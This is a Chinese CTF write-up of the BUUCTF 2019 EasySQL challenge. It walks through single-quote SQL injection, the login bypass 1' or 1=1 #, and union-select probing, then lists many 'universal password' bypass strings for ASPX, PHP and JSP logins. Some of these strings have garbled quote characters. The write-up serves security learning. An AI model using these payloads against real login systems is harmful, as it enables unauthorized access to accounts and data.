BUUCTF[极客大挑战 2019] EasySQL 1

相关wp:

BUUCTF: [极客大挑战 2019]EasySQL 1_Craven_的博客-CSDN博客BUUCTF__[极客大挑战 2019]EasySQL_题解_风过江南乱的博客-CSDN博客

由一道题简单引出万能密码的知识点

先看题

题目来源:BUUCTF  [极客大挑战 2019] EasySQL 1

尝试1 1' 1"

当输入1和1“时

BUUCTF[极客大挑战 2019] EasySQL 1_第1张图片

 只有当输入1’时,页面报错

 查看报错信息发现是基于单引号的注入

万能密码的原理:

select * from table_name where username='xxxx' and password='xxxx'

这是查询数据库可能会用到的句型

因为这道题是基于sql单引号的注入,我们构造万能密码,#在sql注入中是注释符

用or连接,因为1=1恒真,假或真=真,真或真=真,所以这个语句恒成立

1’ or 1=1 #

嵌入到语句中就是

select * from table_name where username='1' or  1=1 # ' and password='xxxx'

1.万能密码绕过

直接在用户名或者密码区输入

1' or 1=1 #

得到flag

BUUCTF[极客大挑战 2019] EasySQL 1_第2张图片

 2.联合注入查询

直接输入

1' union select 1,2

1' union select 1,2,3,4

页面皆报错

BUUCTF[极客大挑战 2019] EasySQL 1_第3张图片

BUUCTF[极客大挑战 2019] EasySQL 1_第4张图片 只有当列名字段数为3时,

输入 1' union select 1,2,3

页面回显出flag

BUUCTF[极客大挑战 2019] EasySQL 1_第5张图片

输入

1' union select 1,2,database() #

得到flag

借用Craven_万能密码的其余知识点:

BUUCTF[极客大挑战 2019] EasySQL 1_第6张图片

 aspx万能密码:

"or “a”="a

‘.).or.(’.a.’=’.a

or 1=1–

'or 1=1–

a’or’ 1=1–

"or 1=1–

'or.‘a.’='a

“or”="a’='a

‘or’’=’

‘or’=‘or’

admin’or 1=1#

PHP万能密码

'or 1=1/*

"or “a”="a

"or 1=1–

“or”="

“or”="a’='a

"or1=1–

“or=or”

'‘or’=‘or’

') or (‘a’='a

‘.).or.(’.a.’=’.a

'or 1=1

'or 1=1–

'or 1=1/*

‘or"="a’='a

‘or’ ‘1’=‘1’

‘or’’=’

‘or’’=’‘or’’=’

‘or’=‘1’

‘or’=‘or’

'or.‘a.’='a

'or1=1–

1’or’1’='1

a’or’ 1=1–

a’or’1=1–

or ‘a’=‘a’

or 1=1–

or1=1–

 jsp万能密码

1’or’1’=’1
admin’ OR 1=1/*

万能密码的实验原理:

用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句

当用户登录时,后台执行的数据库查询操作(SQL语句)是

【Select user_id,user_type,email From users Where user_id='用户名'  And password='密码'】

由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2' or '1】时,执行的SQL语句为【Select user_id,user_type,email From users Where user_id='admin' And password='  2' or '  1'  】

同时,由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性

因此,此SQL语句在后台解析时,分成两句【Select user_id,user_type,email From users Where user_id='  admin'   And password='  2'  】和【'   1'  】,两句bool值进行逻辑or运算,恒为TURE,SQL语句的查询结果为TURE,认证成功,看样成功进入到系统中

这里借用無名之涟的理解

BUUCTF[极客大挑战 2019] EasySQL 1_第7张图片

BUUCTF[极客大挑战 2019] EasySQL 1_第8张图片

=优先于and,优先级:or<and<nor,同一优先级,从左到右计算

你可能感兴趣的:(sql,数据库)